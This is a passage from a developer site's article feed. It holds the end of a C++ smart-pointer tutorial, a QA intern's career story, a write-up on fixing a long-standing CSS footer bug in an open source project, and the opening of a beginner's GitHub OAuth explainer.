    std::shared_ptr&amp;lt;House&amp;gt; friend1 = std::make_shared&amp;lt;House&amp;gt;();  // one allocation: object + control block
    std::shared_ptr&amp;lt;House&amp;gt; friend2 = friend1;  // a roommate moves in

    std::cout &amp;lt;&amp;lt; friend1.use_count() &amp;lt;&amp;lt; std::endl;  // 2
    std::cout &amp;lt;&amp;lt; friend2.use_count() &amp;lt;&amp;lt; std::endl;  // 2

    friend1.reset();  // a friend moves out
    std::cout &amp;lt;&amp;lt; friend2.use_count() &amp;lt;&amp;lt; std::endl;  // 1
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each &lt;code&gt;shared_ptr&lt;/code&gt; copy increments the reference count; each destruction or &lt;code&gt;reset()&lt;/code&gt; decrements it. When the count reaches zero, the object is destroyed.&lt;/p&gt;
&lt;h4 id=&quot;thread-safety-of-shared-ptr&quot;&gt;Thread safety of shared_ptr&lt;/h4&gt;
&lt;p&gt;The member functions of &lt;code&gt;shared_ptr&lt;/code&gt; (including the copy constructor and copy assignment operator) can be called on different &lt;code&gt;shared_ptr&lt;/code&gt; instances from multiple threads at the same time without any extra synchronization. However, if multiple threads access the same &lt;code&gt;shared_ptr&lt;/code&gt; instance and at least one of them calls a non-const member function, a data race occurs. To share the same instance safely, use &lt;code&gt;std::atomic&amp;lt;std::shared_ptr&amp;lt;T&amp;gt;&amp;gt;&lt;/code&gt; (since C++20). In C++11/14/17, use the free functions &lt;code&gt;std::atomic_load()&lt;/code&gt; and &lt;code&gt;std::atomic_store()&lt;/code&gt; instead.&lt;/p&gt;
&lt;h4 id=&quot;the-trap-of-shared-ptr-circular-references&quot;&gt;The trap of shared_ptr: circular references&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;shared_ptr&lt;/code&gt; has one famous trap: circular references. If two objects own each other with &lt;code&gt;shared_ptr&lt;/code&gt;, neither reference count can ever reach zero — the memory leaks even after you drop all external references. A doubly-linked structure shows the shape of the problem:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;lt;memory&amp;gt;

struct Node {
    std::shared_ptr&amp;lt;Node&amp;gt; next;
    std::weak_ptr&amp;lt;Node&amp;gt; prev;  // must NOT be shared_ptr — otherwise two nodes
                               // keep each other alive forever and leak
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use &lt;code&gt;weak_ptr&lt;/code&gt; for the &quot;back&quot; direction. It breaks the cycle: the object is freed when no one strongly owns it, and the back-pointer simply expires.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;weak-ptr&quot;&gt;Weak_ptr&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;weak_ptr&lt;/code&gt; means: I'm a bystander. I can observe you, but I'm not responsible for you.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;memory&amp;gt;

class Object {
public:
    Object(int value) : data(value) {
        std::cout &amp;lt;&amp;lt; &quot;Object created with value: &quot; &amp;lt;&amp;lt; data &amp;lt;&amp;lt; std::endl;
    }
    ~Object() {
        std::cout &amp;lt;&amp;lt; &quot;Object destroyed with value: &quot; &amp;lt;&amp;lt; data &amp;lt;&amp;lt; std::endl;
    }
    int data;
};

int main() {
    std::shared_ptr&amp;lt;Object&amp;gt; sharedObjectA = std::make_shared&amp;lt;Object&amp;gt;(42);
    std::weak_ptr&amp;lt;Object&amp;gt; weakObjectA = sharedObjectA;

    if (auto sp = weakObjectA.lock()) {  // safe idiom: check and lock in one step
        std::cout &amp;lt;&amp;lt; &quot;Value: &quot; &amp;lt;&amp;lt; sp-&amp;gt;data &amp;lt;&amp;lt; std::endl;
    } else {
        std::cout &amp;lt;&amp;lt; &quot;Object is gone&quot; &amp;lt;&amp;lt; std::endl;
    }

    sharedObjectA.reset();
    std::cout &amp;lt;&amp;lt; &quot;End of the Program&quot; &amp;lt;&amp;lt; std::endl;
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;key-member-functions&quot;&gt;Key member functions&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;lock()&lt;/code&gt;: if the object is still alive, returns a temporary &lt;code&gt;shared_ptr&lt;/code&gt;; if it has been destroyed, returns an empty &lt;code&gt;shared_ptr&lt;/code&gt;. Always use &lt;code&gt;if (auto sp = w.lock())&lt;/code&gt; instead of calling &lt;code&gt;expired()&lt;/code&gt; and then &lt;code&gt;lock()&lt;/code&gt; separately — the object could be destroyed between the two calls.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;expired()&lt;/code&gt;: checks whether the managed object has already been destroyed.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;reset()&lt;/code&gt;: releases the weak reference.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;swap()&lt;/code&gt;: swaps the managed object with another &lt;code&gt;weak_ptr&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;application&quot;&gt;Application&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breaking circular references&lt;/strong&gt;: when an object needs to reference another object without owning it — like &lt;code&gt;Node::prev&lt;/code&gt; above — use &lt;code&gt;weak_ptr&lt;/code&gt;. The cycle is broken, and both objects are safely released when no longer needed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Caching systems&lt;/strong&gt;: caches often hold &lt;code&gt;weak_ptr&lt;/code&gt;s so they don't keep objects alive; when an object is no longer used anywhere else, the cache entry simply expires instead of leaking.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&quot;q-amp-a&quot;&gt;Q&amp;amp;A&lt;/h3&gt;
&lt;p&gt;Q: &lt;strong&gt;Can a &lt;code&gt;unique_ptr&lt;/code&gt; be converted into a &lt;code&gt;shared_ptr&lt;/code&gt;?&lt;/strong&gt;&lt;br&gt;
A: Yes, and it's the only &quot;copy-like&quot; conversion allowed — it actually moves the ownership: &lt;code&gt;std::shared_ptr&amp;lt;T&amp;gt; sp(std::move(up));&lt;/code&gt;. The reference count starts at 1 and nobody has to worry about double deletion.&lt;/p&gt;
&lt;p&gt;Q: &lt;strong&gt;Is &lt;code&gt;shared_ptr&lt;/code&gt; thread-safe?&lt;/strong&gt;&lt;br&gt;
A: Partly. The reference counting is atomic, so copies and destructions on different instances are safe. But the pointed-to object itself is not protected — if two threads read and write the object's data through their &lt;code&gt;shared_ptr&lt;/code&gt;s, you still need a mutex or an atomic.&lt;/p&gt;
&lt;p&gt;Q: &lt;strong&gt;Can I copy a &lt;code&gt;unique_ptr&lt;/code&gt;?&lt;/strong&gt;&lt;br&gt;
A: No, by design — copying would cause the object to be deleted twice. If you really need to transfer it, &lt;code&gt;std::move&lt;/code&gt; it.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;reference&quot;&gt;Reference&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://en.cppreference.com/w/cpp/memory/unique_ptr&quot;&gt;std::unique_ptr - cppreference.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://en.cppreference.com/w/cpp/memory/shared_ptr&quot;&gt;std::shared_ptr - cppreference.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://en.cppreference.com/w/cpp/memory/weak_ptr&quot;&gt;std::weak_ptr - cppreference.com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/26260/c-smart-pointers-uniqueptr-vs-sharedptr-vs-weakptr-how-to-choose</guid>
<pubDate>Sat, 05 Sep 2026 13:18:53 +0000</pubDate>
</item>
<item>
<title>Eight Months, One Opportunity, A Lot of Learning — Amita Sharma’s Journey from QA to Development</title>
<link>https://coderlegion.com/26074/eight-months-one-opportunity-lot-of-learning-amita-sharmas-journey-from-qa-to-development</link>
<description>&lt;h2 id=&quot;eight-months-one-opportunity-a-lot-of-learning-amita-sharma-s-journey-from-qa-to-development&quot;&gt;Eight Months, One Opportunity, A Lot of Learning — Amita Sharma’s Journey from QA to Development&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Dev Journey | CoderLegion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Starting your first job can be both exciting and intimidating.&lt;/p&gt;
&lt;p&gt;You have spent years studying, learning technologies, completing projects, and preparing for that first opportunity. But when you finally walk into a real workplace, everything can suddenly feel different.&lt;/p&gt;
&lt;p&gt;Will I be able to do the work?&lt;/p&gt;
&lt;p&gt;Will I understand what everyone is talking about?&lt;/p&gt;
&lt;p&gt;What happens when I make a mistake?&lt;/p&gt;
&lt;p&gt;For &lt;strong&gt;Amita Sharma&lt;/strong&gt;, her first opportunity came through a college placement drive during her final year.&lt;/p&gt;
&lt;p&gt;She went into the process without knowing exactly where it would lead. After an assignment test and two rounds of interviews, she was offered a six-month internship as a QA.&lt;/p&gt;
&lt;p&gt;What started as her first corporate experience eventually became much more than that.&lt;/p&gt;
&lt;p&gt;Over the next eight months, Amita worked on a real product, learned the fundamentals of quality assurance, discovered the importance of thinking beyond obvious test cases, and eventually got the opportunity to contribute to the development side of the same product.&lt;/p&gt;
&lt;p&gt;Today, her experience spans QA, testing, development, and an increasing interest in AI-driven testing.&lt;/p&gt;
&lt;p&gt;This is the story of how one opportunity helped her discover that she could do more than she initially thought.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;getting-the-first-opportunity&quot;&gt;Getting the First Opportunity&lt;/h3&gt;
&lt;p&gt;Eight months ago, I walked into a college placement drive with honestly no idea where it would take me.&lt;/p&gt;
&lt;p&gt;There was an assignment test, followed by two interview rounds. I cleared them and was eventually offered a six-month internship as a QA.&lt;/p&gt;
&lt;p&gt;Since it was my final year of college, getting a job before graduating was already a big thing for me.&lt;/p&gt;
&lt;p&gt;But getting the offer was one thing, and actually starting was another.&lt;/p&gt;
&lt;p&gt;It was my first corporate experience, so I was nervous.&lt;/p&gt;
&lt;p&gt;I had so many questions in my head.&lt;/p&gt;
&lt;p&gt;Would I be able to do the work?&lt;/p&gt;
&lt;p&gt;Would I understand everything?&lt;/p&gt;
&lt;p&gt;How would I fit into a completely new environment?&lt;/p&gt;
&lt;p&gt;Thankfully, the first few days made things much easier.&lt;/p&gt;
&lt;p&gt;Everyone was really welcoming, the team was approachable, and I never felt like I had to figure everything out on my own.&lt;/p&gt;
&lt;p&gt;Once the training started and I began working on an actual product, the real learning began.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;discovering-what-qa-really-involves&quot;&gt;Discovering What QA Really Involves&lt;/h3&gt;
&lt;p&gt;When I joined, I had a pretty basic understanding of QA.&lt;/p&gt;
&lt;p&gt;Test the feature, find bugs, report them.&lt;/p&gt;
&lt;p&gt;But working on &lt;strong&gt;QAlity&lt;/strong&gt; showed me how much more there was to it.&lt;/p&gt;
&lt;p&gt;I started working on different features and workflows, reporting and retesting bugs, doing regression testing, and slowly learning to think beyond the obvious scenarios.&lt;/p&gt;
&lt;p&gt;I began to understand that testing isn't simply about finding something that doesn't work.&lt;/p&gt;
&lt;p&gt;It's about thinking about how people might actually use a product.&lt;/p&gt;
&lt;p&gt;What happens if someone takes an unexpected path?&lt;/p&gt;
&lt;p&gt;What happens if they enter something you didn't anticipate?&lt;/p&gt;
&lt;p&gt;What happens when a new feature interacts with something that was already working?&lt;/p&gt;
&lt;p&gt;Those questions gradually became part of the way I approached testing.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-excitement-of-finding-my-first-bug&quot;&gt;The Excitement of Finding My First Bug&lt;/h3&gt;
&lt;p&gt;I still remember finding my first bug.&lt;/p&gt;
&lt;p&gt;It was honestly such a small thing, but I was so happy when I found it.&lt;/p&gt;
&lt;p&gt;I don't even know why I was that excited, but I think it was because it made everything feel real.&lt;/p&gt;
&lt;p&gt;I was actually testing a product.&lt;/p&gt;
&lt;p&gt;I had found something that wasn't working as expected.&lt;/p&gt;
&lt;p&gt;And I knew what to do with it.&lt;/p&gt;
&lt;p&gt;It was a small moment, but for me it was an important one.&lt;/p&gt;
&lt;p&gt;It made me feel like I was no longer just learning about QA.&lt;/p&gt;
&lt;p&gt;I was actually doing it.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;learning-from-a-mentor&quot;&gt;Learning From a Mentor&lt;/h3&gt;
&lt;p&gt;My mentor had a big part in helping me get there.&lt;/p&gt;
&lt;p&gt;Whenever I got stuck, I had someone to ask, but I was also encouraged to think things through myself.&lt;/p&gt;
&lt;p&gt;A simple question like:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&quot;What about this scenario?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;would sometimes send me back to the feature and make me look at it differently.&lt;/p&gt;
&lt;p&gt;At first, I needed guidance to figure things out.&lt;/p&gt;
&lt;p&gt;Gradually, I became more confident in figuring things out on my own.&lt;/p&gt;
&lt;p&gt;That was one of the biggest changes I noticed in myself.&lt;/p&gt;
&lt;p&gt;The goal wasn't simply to have someone give me the answer.&lt;/p&gt;
&lt;p&gt;It was learning how to find the answer myself.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;an-unexpected-turn-from-qa-to-development&quot;&gt;An Unexpected Turn: From QA to Development&lt;/h3&gt;
&lt;p&gt;And then my role took a direction I hadn't expected.&lt;/p&gt;
&lt;p&gt;Along with QA, I got the opportunity to work on the development side of QAlity too.&lt;/p&gt;
&lt;p&gt;I worked on the UI and created pages for the product, which gave me a chance to understand QAlity from a completely different perspective.&lt;/p&gt;
&lt;p&gt;That experience was especially valuable because I got to see both sides of the product.&lt;/p&gt;
&lt;p&gt;I understood what went into building a feature and also what I needed to think about when testing it.&lt;/p&gt;
&lt;p&gt;It gave me a much broader experience than I had imagined when I first joined.&lt;/p&gt;
&lt;p&gt;Instead of seeing development and testing as completely separate activities, I started understanding how closely they are connected.&lt;/p&gt;
&lt;p&gt;Building something gives you one perspective.&lt;/p&gt;
&lt;p&gt;Testing it gives you another.&lt;/p&gt;
&lt;p&gt;Having the opportunity to experience both helped me understand the product much more deeply.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;eight-months-later&quot;&gt;Eight Months Later&lt;/h3&gt;
&lt;p&gt;Now, eight months later, I can see how much has changed.&lt;/p&gt;
&lt;p&gt;I came in wondering whether I would be able to do the job.&lt;/p&gt;
&lt;p&gt;Today, I have worked on QAlity as a QA, contributed to its development, built UI pages, and taken on things that I wouldn't have imagined myself doing on day one.&lt;/p&gt;
&lt;p&gt;Looking back, the biggest change isn't just the number of things I've learned.&lt;/p&gt;
&lt;p&gt;It's the confidence I've gained from actually doing them.&lt;/p&gt;
&lt;p&gt;The things that seemed intimidating at the beginning gradually became things I knew how to approach.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;what-i-would-tell-someone-starting-their-first-job&quot;&gt;What I Would Tell Someone Starting Their First Job&lt;/h3&gt;
&lt;p&gt;If there's one thing I'd tell someone starting their first job, it's to give yourself some time.&lt;/p&gt;
&lt;p&gt;You don't have to know everything from the beginning.&lt;/p&gt;
&lt;p&gt;Ask questions.&lt;/p&gt;
&lt;p&gt;Learn from the people around you.&lt;/p&gt;
&lt;p&gt;Take feedback.&lt;/p&gt;
&lt;p&gt;And don't hesitate to try something new just because you've never done it before.&lt;/p&gt;
&lt;p&gt;Your first job isn't about proving that you already know everything.&lt;/p&gt;
&lt;p&gt;It's about learning how to learn in a real environment.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;more-than-just-a-first-job&quot;&gt;More Than Just a First Job&lt;/h3&gt;
&lt;p&gt;When I think about these eight months, I don't just think about the work I did.&lt;/p&gt;
&lt;p&gt;I think about how much that first opportunity opened up for me.&lt;/p&gt;
&lt;p&gt;I joined as a QA intern, but along the way I got to explore development too, learn from some really good people, and discover that I could do more than I initially thought.&lt;/p&gt;
&lt;p&gt;And honestly, I think that's what makes these eight months so special to me.&lt;/p&gt;
&lt;p&gt;I came here with a lot to learn, and I'm leaving this phase with a lot more experience, confidence, and curiosity about what comes next.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;about-amita&quot;&gt;About Amita&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Amita Sharma&lt;/strong&gt; is a Quality Assurance Engineer focused on building reliable, scalable, and efficient testing workflows. Her experience includes manual and automated testing, with a growing interest in AI-driven testing and modern QA practices.&lt;/p&gt;
&lt;p&gt;Her CoderLegion profile is:&lt;br&gt;
&lt;a rel=&quot;nofollow&quot; href=&quot;https://coderlegion.com/user/amitasharmaa&quot;&gt;https://coderlegion.com/user/amitasharmaa&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Her technical interests include JavaScript, Python, SQL, Selenium, Playwright, Cypress, Postman, REST APIs, Machine Learning, and Agentic AI.&lt;/p&gt;
&lt;p&gt;She is passionate about improving product quality, reducing manual effort, and creating better user experiences through smarter testing solutions.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;This story is part of CoderLegion's Dev Journey series&lt;/strong&gt;, where developers share their real experiences, challenges, lessons, growth, and the opportunities that shaped their careers.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/26074/eight-months-one-opportunity-lot-of-learning-amita-sharmas-journey-from-qa-to-development</guid>
<pubDate>Wed, 02 Sep 2026 11:24:42 +0000</pubDate>
</item>
<item>
<title>The bug nobody fixed for 4 years (and how it got me my first Contributor badge)</title>
<link>https://coderlegion.com/26039/the-bug-nobody-fixed-for-4-years-and-how-it-got-me-my-first-contributor-badge</link>
<description>&lt;p&gt;Have you ever opened the issues tab of an open source project, stared at the list, and closed it?&lt;/p&gt;
&lt;p&gt;I have. More than once.&lt;/p&gt;
&lt;p&gt;The feeling is always the same: &quot;this is for grown-ups, I'm not good enough to touch it&quot;. So you close the tab, go back to your side project, and contributing becomes something you'll do when you're &quot;ready&quot;.&lt;/p&gt;
&lt;p&gt;Spoiler: you'll never be ready. I started by fixing a footer that broke on mobile.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-project-and-the-bug&quot;&gt;The project and the bug&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/aihqqrrezhmmge6lun92.png&quot; alt=&quot;TimeConv Banner&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/ArjunSharda/TimeConv&quot;&gt;TimeConv&lt;/a&gt; is a simple time converter: you give it a date and it hands you back UTC, seconds, or whatever timezone you asked for. Static site, hand-written HTML and CSS, no framework.&lt;/p&gt;
&lt;p&gt;Issue &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/ArjunSharda/TimeConv/issues/41&quot;&gt;#41&lt;/a&gt; said the footer broke on mobile. Opened in &lt;strong&gt;August 2022&lt;/strong&gt;. Four people passed through it over the years, diagnosed the problem, agreed with the diagnosis...&lt;/p&gt;
&lt;p&gt;And not one of them opened a PR.&lt;/p&gt;
&lt;p&gt;That's the kind of issue I recommend if you're starting out: old, already diagnosed by other people, and with nobody working on it. Half the work is done and the odds of duplicating someone's effort are low.&lt;/p&gt;
&lt;h3 id=&quot;the-css-bug-that-wasn-t-a-css-bug&quot;&gt;The CSS bug that wasn't a CSS bug&lt;/h3&gt;
&lt;p&gt;The original code did this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;footer {
  position: absolute;
  height: 15vh;
  bottom: 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Absolutely positioned footer, pinned to the bottom. Works beautifully — until the page has enough content to scroll. Then the footer floats in the middle of your text, because &lt;code&gt;bottom: 0&lt;/code&gt; is relative to the viewport, not to the content.&lt;/p&gt;
&lt;p&gt;The modern fix is the flexbox sticky footer: make &lt;code&gt;body&lt;/code&gt; a flex column with &lt;code&gt;min-height: 100vh&lt;/code&gt;, and give the footer &lt;code&gt;margin-top: auto&lt;/code&gt;, which pushes it into whatever space is left over.&lt;/p&gt;
&lt;p&gt;I swapped it, tested it, and... two pages didn't budge.&lt;/p&gt;
&lt;p&gt;Here's the part I didn't see coming, and the most useful thing I took from this contribution: &lt;strong&gt;&lt;code&gt;margin-top: auto&lt;/code&gt; only pushes an element if it's a direct child of the flex container.&lt;/strong&gt; In &lt;code&gt;credits.html&lt;/code&gt; the footer sat four levels deep inside a &lt;code&gt;.row&lt;/code&gt; — which is a horizontal flex container. And in &lt;code&gt;utcsecondstodatetime.html&lt;/code&gt; it was literally outside &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So I opened the HTML of those two files and found a duplicated &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt;, orphan &lt;code&gt;&amp;lt;/div&amp;gt;&lt;/code&gt;s, and tags closing out of order. The file was broken badly enough that &lt;code&gt;prettier&lt;/code&gt; couldn't even parse it.&lt;/p&gt;
&lt;p&gt;Which means: the issue was filed as a CSS bug, and no amount of CSS was ever going to fix it without touching the HTML. That's why four people diagnosed it and nobody shipped — the diagnosis was only half right.&lt;/p&gt;
&lt;p&gt;Final PR: &lt;strong&gt;7 files, 175 lines added, 174 removed.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/hxwycp0cvrxwy3ms7rjy.png&quot; alt=&quot;github PR&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;the-red-check-that-almost-killed-it&quot;&gt;The red check that almost killed it&lt;/h3&gt;
&lt;p&gt;PR opened, and CI lights up: &lt;code&gt;Lint Code Base&lt;/code&gt; failed.&lt;/p&gt;
&lt;p&gt;The beginner reflex (mine included) is to run &lt;code&gt;prettier --write&lt;/code&gt; across the repo and push everything green. Don't. That would have added ~138 lines of reindentation to a 7-file PR, and the reviewer would have had to separate the fix from the formatting.&lt;/p&gt;
&lt;p&gt;What I did instead was pull the original files from &lt;code&gt;main&lt;/code&gt; and run the linter against them:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npx prettier --check docs/
npx htmlhint docs/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Result: the &lt;strong&gt;original&lt;/strong&gt; files already failed. And &lt;code&gt;utcsecondstodatetime.html&lt;/code&gt; on &lt;code&gt;main&lt;/code&gt; didn't even parse. htmlhint reported 18 errors on the original versus 0 on mine.&lt;/p&gt;
&lt;p&gt;I posted that in the PR, with the output from both sides. That is precisely what unblocked the merge — the maintainer could see the red was inherited instead of taking my word for it.&lt;/p&gt;
&lt;p&gt;It's a rule for me now:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;An inherited red check gets explained with reproduced evidence, not fixed by growing the PR.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Three weeks after opening it (and one polite ping along the way, because maintainers of small projects do go quiet), I got an &quot;Awesome, LGTM!&quot; and the merge.&lt;/p&gt;
&lt;h3 id=&quot;hands-on-test-a-static-site-in-30-seconds&quot;&gt;Hands on: test a static site in 30 seconds&lt;/h3&gt;
&lt;p&gt;No Node, no build step, nothing:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git clone https://github.com/ArjunSharda/TimeConv.git
cd TimeConv/docs
python3 -m http.server 8000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Open &lt;code&gt;http://localhost:8000&lt;/code&gt;, hit F12, turn on the device toolbar and test at 320, 375 and 768 pixels wide. Test one short page and one long page — a footer bug only shows up in one of them.&lt;/p&gt;
&lt;p&gt;That's the entire test loop for a static-site contribution. Really.&lt;/p&gt;
&lt;h3 id=&quot;-but-that-s-just-css-it-doesn-t-count-&quot;&gt;&quot;But that's just CSS, it doesn't count&quot;&lt;/h3&gt;
&lt;p&gt;It counts. And let me lay out both sides, because this choice is yours.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Small project.&lt;/strong&gt; Upside: the maintainer actually reads your PR, the codebase fits in your head, and you get to close the full issue → PR → merge loop, which is where the learning lives. Downside: little reach, sometimes an inactive maintainer, and a process too informal to teach you rigor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Large project.&lt;/strong&gt; Upside: serious CI, hard review, documented conventions — you learn the craft. Downside: long review queues, and a real chance someone fixes the bug before you do (that happened to me on another project, and it's an article of its own).&lt;/p&gt;
&lt;p&gt;I don't think there's a right side. I think starting small and moving up is kinder to your motivation.&lt;/p&gt;
&lt;h3 id=&quot;wrapping-up&quot;&gt;Wrapping up&lt;/h3&gt;
&lt;p&gt;Seven files, 175 lines added, zero lines of complex logic. Result: a Contributor badge and a four-year-old issue closed.&lt;/p&gt;
&lt;p&gt;What was blocking that issue wasn't technical difficulty. It was that nobody had opened the HTML.&lt;/p&gt;
&lt;p&gt;Your turn: open the issues tab of a project you actually use, filter by &lt;code&gt;is:issue is:open sort:created-asc&lt;/code&gt;, and look at the oldest ones. One of them is waiting for somebody to open the file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/gh55l9eotfc8z1vihc1j.png&quot; alt=&quot;Github query&quot;&gt;&lt;/p&gt;
&lt;p&gt;And if you do it, brace yourself for one thing: &lt;strong&gt;the merge isn't the end.&lt;/strong&gt; After mine landed I got excited and kept poking around the site — and while testing the pages in the browser, I noticed the converters only worked once. A second conversion needed a page reload.&lt;/p&gt;
&lt;p&gt;There were two bugs. They hid each other, with a side effect that pushed whatever the user typed straight into their browser history.&lt;/p&gt;
&lt;p&gt;That's the next article.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Author's note:&lt;/strong&gt; this was my first contribution to TimeConv, merged in August 2026. I'm documenting every open source contribution I make in this series. If you contribute to open source too, I'd like to hear about it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/ArjunSharda/TimeConv&quot;&gt;TimeConv on GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/ArjunSharda/TimeConv/issues/41&quot;&gt;Issue #41 — Website is not responsive&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/ArjunSharda/TimeConv/pull/63&quot;&gt;PR #63 — make footer sticky and layout responsive on mobile&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_flexible_box_layout/Basic_concepts_of_flexbox&quot;&gt;MDN — Basic concepts of flexbox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://css-tricks.com/couple-takes-sticky-footer/&quot;&gt;CSS Tricks — Sticky footer, five ways&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/26039/the-bug-nobody-fixed-for-4-years-and-how-it-got-me-my-first-contributor-badge</guid>
<pubDate>Tue, 01 Sep 2026 23:02:15 +0000</pubDate>
</item>
<item>
<title>Understanding GitHub OAuth Login</title>
<link>https://coderlegion.com/25915/understanding-github-oauth-login</link>
<description>&lt;h3 id=&quot;starting-with-redirects&quot;&gt;Starting With Redirects&lt;/h3&gt;
&lt;p&gt;This is a beginner friendly post.&lt;/p&gt;
&lt;p&gt;I am writing it because the GitHub OAuth login flow confused the hell out of me, and it took me a long time to work out why. The confusion was not about the code. The code is short, and you can copy it from anywhere.&lt;/p&gt;
&lt;p&gt;What frustrated me was a much simpler question that no tutorial answered directly:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What request/response are being sent/received and who is sending and receiving them?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Every diagram I found showed arrows going back and forth between a browser, my backend, and GitHub. I assumed my backend was talking to GitHub the whole time. It is not. Most of the time it is the browser doing the talking, and my backend is just handing it addresses to go to.&lt;/p&gt;
&lt;p&gt;And no, asking an AI did not shortcut it for me. It was frustrating and I had to dig a lot, because AI does not know what gaps we have in our knowledge and neither do we. The answers came back fluent and correct but I stayed just as confused as before.&lt;/p&gt;
&lt;p&gt;So if you are a beginner, expect to dig. Even the most advanced model will hand you a tidy summary that reads like understanding but is not one, and it will keep doing that until you learn to ask a sharper questions.&lt;/p&gt;
&lt;p&gt;Once that clicked, everything else fell into place. So we are going to go slowly, and we are going to start well before OAuth.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-knowledge-gap-prerequisites-&quot;&gt;The knowledge gap (Prerequisites)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;HTTP requests and responses. You should know that a response has a status code, a set of headers, and a body, and their purpose.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;What is a redirect request?(covered in the blog)&lt;/p&gt;
&lt;/li&gt;
